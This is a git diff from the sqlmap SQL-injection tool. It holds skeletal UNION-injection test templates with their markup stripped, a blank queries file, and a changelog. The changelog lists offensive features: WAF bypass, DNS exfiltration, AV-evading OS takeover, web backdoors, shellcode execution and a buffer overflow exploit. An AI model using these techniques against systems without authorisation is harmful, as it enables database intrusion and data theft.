+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 21-30
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 21-30
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 21-30
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 31-40
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 31-40
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 31-40
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 41-50
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 41-50
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 41-50
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 1-10
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 11-20
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 21-30
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 4
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 31-40
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [CHAR]
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ NULL
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 6
+ 5
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ #
+ [RANDNUM]
+ 41-50
+
+
+
+
+
+ MySQL
+
+
+
+
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
new file mode 100644
index 0000000000..37a4b0c2a6
--- /dev/null
+++ b/data/xml/queries.xml
@@ -0,0 +1,1788 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ />
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index e656280cc3..5eab595846 100644
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,14 +1,57 @@
-# Version 1.0 (upcoming)
+# Version 1.9 (2025-01-02)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1)
+
+# Version 1.8 (2024-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1)
+
+# Version 1.7 (2023-01-02)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1)
+
+# Version 1.6 (2022-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1)
+
+# Version 1.5 (2021-01-03)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1)
+
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
+# Version 1.3 (2019-01-05)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
+
+# Version 1.2 (2018-01-08)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
+
+# Version 1.1 (2017-04-07)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
+
+# Version 1.0 (2016-02-27)
* Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports.
-* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
-* Added support for setting Tor proxy type together with port.
+* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries.
-* Added support for mnemonics substantially helping user with program setup.
-* Implemented multi-processor hash cracking routine(s) on Linux OS.
+* Implemented multi-processor hash cracking routine(s).
* Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method.
* Old resume files are now deprecated and replaced by faster SQLite based session mechanism.
* Substantial code optimization and smaller memory footprint.
@@ -25,12 +68,75 @@
* Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
-* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
+* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
-* Major improvements to switches --tables and --columns.
-* Takeover switch --os-pwn improved: stealthier, faster and AV-proof.
-* Added switch --mobile to imitate a mobile device through HTTP User-Agent header.
+* Major improvements to switches `--tables` and `--columns`.
+* Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof.
+* Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header.
+* Added switch `-a` to enumerate all DBMS data.
+* Added option `--alert` to run host OS command(s) when SQL injection is found.
+* Added option `--answers` to set user answers to asked questions during sqlmap run.
+* Added option `--auth-file` to set HTTP authentication PEM cert/private key file.
+* Added option `--charset` to force character encoding used during data retrieval.
+* Added switch `--check-tor` to force checking of proper usage of Tor.
+* Added option `--code` to set HTTP code to match when query is evaluated to True.
+* Added option `--cookie-del` to set character to be used while splitting cookie values.
+* Added option `--crawl` to set the crawling depth for the website starting from the target URL.
+* Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`).
+* Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token.
+* Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token.
+* Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`).
+* Added option `--dbms-cred` to set the DBMS authentication credentials (user:password).
+* Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies.
+* Added switch `--disable-coloring` to disable console output coloring.
+* Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s).
+* Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`).
+* Added option `--eval` for setting the Python code that will be evaluated before the request.
+* Added switch `--force-ssl` to force usage of SSL/HTTPS.
+* Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval.
+* Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`).
+* Added switch `-hh` for showing advanced help message.
+* Added option `--host` to set the HTTP Host header value.
+* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
+* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
+* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
+* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
+* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
+* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
+* Added switch `--invalid-string` for usage of random strings while invalidating values.
+* Added option `--load-cookies` to set the file containing cookies in Netscape/wget format.
+* Added option `-m` to set the textual file holding multiple targets for scanning purposes.
+* Added option `--method` to force usage of provided HTTP method (e.g. `PUT`).
+* Added switch `--no-cast` for turning off payload casting mechanism.
+* Added switch `--no-escape` for turning off string escaping mechanism.
+* Added option `--not-string` for setting string to be matched when query is evaluated to False.
+* Added switch `--offline` to force work in offline mode (i.e. only use session data).
+* Added option `--output-dir` to set custom output directory path.
+* Added option `--param-del` to set character used for splitting parameter values.
+* Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing).
+* Added option `--proxy-file` to set file holding proxy list.
+* Added switch `--purge-output` to turn on safe removal of all content(s) from output directory.
+* Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run.
+* Added option `--safe-post` to set POST data for sending to safe URL.
+* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
+* Added option `--skip` to skip testing of given parameter(s).
+* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
+* Added switch `--skip-urlencode` to skip URL encoding of payload data.
+* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
+* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
+* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
+* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
+* Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`).
+* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`).
+* Added switch `--titles` to turn on comparison of pages based only on their titles.
+* Added option `--tor-port` to explicitly set Tor proxy port.
+* Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`).
+* Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection.
+* Added option `--where` to set `WHERE` condition to be used during the table dumping.
+* Added option `-X` to exclude DBMS database table column(s) from enumeration.
+* Added option `-x` to set URL of sitemap(.xml) for target(s) parsing.
+* Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`).
# Version 0.9 (2011-04-10)
@@ -43,7 +149,7 @@
* Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`.
* Added support to tamper injection data with option `--tamper`.
* Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack.
-* Added support to enumerate roles on Oracle, --roles switch.
+* Added support to enumerate roles on Oracle, `--roles` switch.
* Added support for SOAP based web services requests.
* Added support to fetch unicode data.
* Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`.
@@ -88,18 +194,18 @@
* Major bugs fixed.
* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
* Major code cleanup.
-* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware.
+* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
* Updated user's manual.
-* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html.
+* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
# Version 0.8 release candidate (2009-09-21)
-* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection.
+* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined functions.
-* Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output.
-* Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified.
+* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output.
+* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified.
* Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
@@ -108,13 +214,13 @@
* Adapted Metasploit wrapping functions to work with latest 3.3 development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
-* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too.
+* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+.
* Major bug fix to sql-query/sql-shell features.
-* Major bug fix in --read-file option.
+* Major bug fix in `--read-file` option.
* Major silent bug fix to multi-threading functionality.
-* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and --os-shell is provided.
+* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
@@ -136,32 +242,32 @@
* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object;
* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
-* Minor enhancement to support an option (--is-dba) to show if the current user is a database management system administrator;
-* Minor enhancement to support an option (--union-tech) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing;
-* Added internal support to forge CASE statements, used only by --is-dba query at the moment;
-* Minor layout adjustment to the --update output;
+* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator;
+* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing;
+* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment;
+* Minor layout adjustment to the `--update` output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server;
-* Minor bug fix to make the --postfix work even if --prefix is not provided;
+* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided;
* Updated documentation.
# Version 0.6.3 (2008-12-18)
* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ;
* Major enhancement to support Partial UNION query SQL injection technique too;
-* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option --stacked-test which will be then used someday also by takeover functionality;
-* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option --time-test;
+* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality;
+* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`;
* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided;
-* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option --timeout #, default is set to 10 seconds and must be 3 or higher;
-* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option --delay #;
-* Minor enhancement to be able to get the injection payload --prefix and --postfix from user;
+* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher;
+* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`;
+* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user;
* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
-* Minor enhancemet to support also --regexp, --excl-str and --excl-reg options rather than only --string when comparing HTTP responses page content;
-* Minor enhancement to be able to specify extra HTTP headers by providing option --headers. By default Accept, Accept-Language and Accept-Charset headers are set;
-* Minor improvement to be able to provide CU (as current user) as user value (-U) when enumerating users privileges or users passwords;
+* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content;
+* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set;
+* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url;
@@ -175,10 +281,10 @@
# Version 0.6.2 (2008-11-02)
-* Major bug fix to correctly dump tables entries when --stop is not specified;
+* Major bug fix to correctly dump tables entries when `--stop` is not specified;
* Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0;
* Major bug fix when the request is POST to also send the GET parameters if any have been provided;
-* Major bug fix to correctly update sqlmap to the latest stable release with command line --update;
+* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`;
* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database;
@@ -191,20 +297,20 @@
* Major bug fix to blind SQL injection bisection algorithm to handle an exception;
* Added a Metasploit Framework 3 auxiliary module to run sqlmap;
* Implemented possibility to test for and inject also on LIKE statements;
-* Implemented --start and --stop options to set the first and the last table entry to dump;
-* Added non-interactive/batch-mode (--batch) option to make it easy to wrap sqlmap in Metasploit and any other tool;
+* Implemented `--start` and `--stop` options to set the first and the last table entry to dump;
+* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool;
* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes;
* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore;
-* Minor bug fix to correctly handle parameters' value with % character.
+* Minor bug fix to correctly handle parameters' value with `%` character.
# Version 0.6 (2008-09-01)
* Complete code refactor and many bugs fixed;
* Added multithreading support to set the maximum number of concurrent HTTP requests;
-* Implemented SQL shell (--sql-shell) functionality and fixed SQL query (--sql-query, before called -e) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack;
-* Added an option (--privileges) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator;
